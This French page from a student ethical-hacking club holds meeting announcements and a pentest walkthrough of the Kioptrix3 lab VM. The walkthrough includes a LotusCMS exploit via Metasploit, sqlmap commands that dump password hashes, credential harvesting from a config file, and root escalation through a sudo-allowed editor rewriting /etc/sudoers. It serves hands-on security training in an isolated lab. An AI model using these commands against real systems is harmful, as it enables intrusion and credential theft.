Ce jeudi nous présenterons les solutions (write-ups) de plusieurs
challenges du CTF de GreHack 2017. Si certains d’entre-vous en avez
réussi certains, ce sera aussi l’occasion de présenter rapidement
comment vous avez fait.

Comme d’habitude, ce sera en amphi E (ou D1xx si amphi indisponible) et
on commencera vers 17h30.

Pièces jointes

Securimag est de retour cette année avec une session de présentation des activités de l’association le jeudi 29 septembre 2016 à 17h30 en amphi E (probablement).

Securimag, c’est quoi ?

Securimag, c’est le club de sécurité/hacking éthique de l’Ensimag.

Pour ne pas spoiler tout le contenu de la présentation de rentrée, en quelques mots c’est :

  • Des étudiants, des thésards mais aussi des personnes avec une activité professionnelle, chacun est le bienvenu
  • De la sécurité informatique dans tous les domaines : du web, du reverse-engineering, du forensic (a.k.a. investigation numérique en bon français), de la cryptographie, de l’exploit, du réseau …
  • L’occasion d’acquérir des compétences qui sont reconnues et valorisées (et fun)
  • Une rencontre chaque jeudi soir (ou presque) : des présentations, des sessions pratiques, des challenges, des compétitions en ligne ou en vrai (Insomni’hack, Nuit du Hack, GreHack, Internetwache) …
  • Pour tout le monde, il n’est pas nécessaire d’avoir des connaissances avancées pour venir
  • Une conférence : GreHack, organisée par Securimag donc
  • Des chatons, des alpagas
  • Un soupçon de fail

Calendrier de rentrée

  • 29 septembre à 17h30 – Amphi de présentation du club
  • 6 octobre – Support chiffré et extraction de clé – Forensic – rca
  • 13 octobre – Le pentest par la pratique – iggy
  • 20 octobre – Quelques trucs … de la vraie vie – Misc: s*** happens…  – Phil

Challenges

Comme l’an passé, Securimag propose un challenge d’initiation pour ce début d’année.
Le challenge de cette année sera disponible ici dans peu de jours.

Pour chacune des étapes de ce challenge, l’objectif est de retrouver un « flag ».

Si vous êtes coincé, n’hésitez pas à venir faire un tour sur IRC, les concepteurs des challenges y traînent.

Yop,

Voici le lien vers quelques write-ups que nous avons fait pour le ctf d’Internetwatche, l’équipe est arrivée 18ème et a réussi à accomplir toutes les taches en un peu plus de 27 heures.

Hésitez pas à faire un tour sur le chan #ctf si vous êtes intéressés pour nous rejoindre sur les suivants.

 

Introduction

Comme pour la première séance, on nous remet une VM dont on ne sait absolument rien et le but est de devenir l’administrateur de celle-ci. La VM peut se télécharger ICI .

Puisqu’il s’agit d’une séance de pentest, cette fois je choisi de faire le boulot avec autant que possible des outils standards. Pas de cousu main pour cette fois ! Pour ceci la distribution KALI est un bon point de départ. Virtual Box est utilisé pour faire tourner la machine attaquée et également la VM KALI attaquante. Un LAN privé est utilisé entre les 2 VM afin d’isoler complètement tout ça du PC hôte.

État des lieux

Une fois la VM lancée, nmap est le bon candidat pour regarder ce qui est ouvert sur la VM :

nmap

On a donc du SSH et du HTTP. On part sur un challenge de type « web ».

On lance quand même Nikto pour aller plus vite et on note la présence d’un PhpMyAdmin, 9 ans d’age s’il vous plait.

Première connexion, on tombe sur un CMS et un module de galerie photos :

CMS1  Gallery1

 

Obtenir un accès utilisateur à la VM

Premier chemin :

Dans l’URL du CMS on a le paramètre page= qui nous tend les bras. Le fait d’y coller plusieurs caractères simple quote nous donne une belle erreur PHP :

Une fois un peu de doc lu sur le sujet, la fonction « eval() » en PHP, si elle est pilotable, nous permet de faire exécuter du code de notre cru. J’essaye plusieurs formes telle-que , page=’phpinfo(); , page='<? phpinfo(); ?> mais rien à faire, tjrs une erreur. Iggy me fait remarquer qu’un bug comme celui-ci est presque impossible à exploiter sans le code source. Le CMS en question est donc LotusCMS, et ceci nous amène rapidement à la page suivante sur ExploitDB.

C’est le moment de démarrer Metasploit et de prendre en main l’outil. Une fois Metasploit lancé et la lecture d’un tuto plus tard, l’exploitation de la faille sur LotusCMS 3.0 donne en gros ceci : Trace session Metasploit pour obtenir un shell

A ce point précis, nous pouvons déjà lancer des commandes avec l’uid www-data. Ce qui est déjà un pas trop mal.

Maintenant on sort la frontale et on glane tout ce qui traine dans les fichiers accessibles via le compte www-data. Le gagnant sera :

cat gallery/gconfig.php | grep _mysql_
$GLOBALS[« gallarific_mysql_server »] = « localhost »;
$GLOBALS[« gallarific_mysql_database »] = « gallery »;
$GLOBALS[« gallarific_mysql_username »] = « root« ;
$GLOBALS[« gallarific_mysql_password »] = « fuckeyou« ;

Il est maintenant temps d’utiliser le PhpMyAdmin avec les identifiants ci-dessus afin de se connecter plus aisément qu’en ligne de commande et dumper complètement toutes les bases de données présentes.

Une fois les bases dumpées les tables pouvant contenir des comptes sont à privilégier et la table dev-accounts est une bonne candidate, dans laquelle ou trouve :

INSERT INTO dev_accounts (id, username, password) VALUES
(1, ‘dreg’, ‘0d3eccfb887aabd50f243b3f155c0f85‘),
(2, ‘loneferret’, ‘5badcaf789d3d1d09794d8f021f40f0e‘);

Ce qui tombe bien car ces comptes utilisateurs existent sur la VM :

ls -l /home/
total 12
drwxr-xr-x 2 dreg       dreg       4096 Feb 11 12:43 dreg
drwxr-xr-x 3 loneferret loneferret 4096 Feb 11 12:52 loneferret
drwxr-xr-x 3 root       root       4096 Apr 12  2011 www

Cote crack des mots de passes, en 2016 on n’a pas besoin de hashcat pour du MD5, Google suffira :

0d3eccfb887aabd50f243b3f155c0f85 –> Mast3r

5badcaf789d3d1d09794d8f021f40f0e –> starwars

 

Deuxième chemin :

Le trou de sécu du CMS n’était pas le seul permettant de se promener sur le serveur. Le module de gallery comportait aussi une faille de type SQL Injection. En jouant avec les URLs et surtout les paramètres on obtient assez vite une erreur intéressante :

Sqli

Il est donc temps de regarder comment sqlmap fonctionne afin de ne surtout pas se fatiguer les neurones.

L’outil est d’une simplicité déconcertante et nous permet de naviguer dans les bases de données du MySQL assez librement. Voilà les commandes à passer :

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql  –>

GET parameter ‘id’ is vulnerable.

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql – -dbs  –>

available databases [3]:
[*] gallery
[*] information_schema
[*] mysql

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql – -tables  –>

Database: gallery
[7 tables]
+—————————+
| dev_accounts              |
| gallarific_comments       |
| gallarific_galleries      |
| gallarific_photos         |
| gallarific_settings       |
| gallarific_stats          |
| gallarific_users          |
+—————————+

Database: information_schema
[16 tables]
+—————————+
| CHARACTER_SETS            |
| COLLATIONS                |
| COLUMNS                   |
| COLUMN_PRIVILEGES         |
| KEY_COLUMN_USAGE          |
| PROFILING                 |
| ROUTINES                  |
| SCHEMATA                  |
| SCHEMA_PRIVILEGES         |
| STATISTICS                |
| TABLES                    |
| TABLE_CONSTRAINTS         |
| TABLE_PRIVILEGES          |
| TRIGGERS                  |
| USER_PRIVILEGES           |
| VIEWS                     |
+—————————+

Database: mysql
[17 tables]
+—————————+
| user                      |
| columns_priv              |
| db                        |
| func                      |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| proc                      |
| procs_priv                |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
+—————————+

sqlmap -u « http://kioptrix3.com/gallery/gallery.php?id=1 » – -dbms=mysql  -D gallery -T dev_accounts – -dump –>

Database: gallery
Table: dev_accounts
[2 entries]
+—-+————+———————————-+
| id | username   | password                         |
+—-+————+———————————-+
| 1  | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 |
| 2  | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |
+—-+————+———————————-+

Le hash des mots de passes sont donc bien obtenus également par cette 2ème faille.

 

Troisième chemin (fort probable …) :

Le PhpMyAdmin date d’il y a 9 ans ! Je n’ai pas trouvé de méthode pour passer sans m’authentifier, mais il est quasi certains qu’il doit y avoir moyen. Reste à la découvrir …

 

Le compte root

Maintenant il est temps de se connecter via le SSHD et les comptes trouvés afin de voir ce que les /homes des développeurs cachent.

Le compte dreg est vide, aucun intérêt. Par contre c’est plus intéressent pour loneferret. Là il y a encore 2 façons de voir ce qu’il est possible de faire pour passer root.

La première, plus instinctive mais moins fiable, est d’aller regarder le fichier .bash_history . Ici on trouve une seule commande : sudo ht

Et la seconde, plus élégante, c’est de demander via le mécanisme sudo ce que l’utilisateur peut faire comme commandes avec privilèges étendues. Ceci ce fait tout simplement avec la commande :

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht

Dans les deux cas, on trouve que la seule commande qui se lance avec les privilèges root est sudo ht, ce que nous nous empressons de faire.

Nous récupérons l’interface suivante :

sudo_ht

(tips : si vous obtenez une erreur « Error opening terminal: xterm-256color. » au lancement de ht, avant de vous connectez en SSH lancez depuis votre terminal : export TERM=xterm ).

L’interface ci-dessus est un éditeur de texte échappé d’un autre temps mais qui permet de modifier librement tous les fichiers du disque. Il ne nous reste ensuite plus qu’à nous attribuer tous les droits dans le fichier /etc/sudoers et nous connecter au compte root avec un sudo su –. Nous sommes bien passés root :

sudo_su

P0wned !

 

Conclusion

Une VM à hacker qui amène à se poser pas mal de questions, surtout quand on ne fait pas de pentest. La ligne de conduite d’utiliser des outils tout-fait a bien été respectée, aucun mauvais script n’a été utilisé :-), ce qui a permis de découvrir quelques outils intéressants. KALI est bien adaptée à ce genre de manips.

Merci a Iggy pour avoir préparé les manips et avoir distillé quelques conseils afin que le root soit possible en séance.

Pièces jointes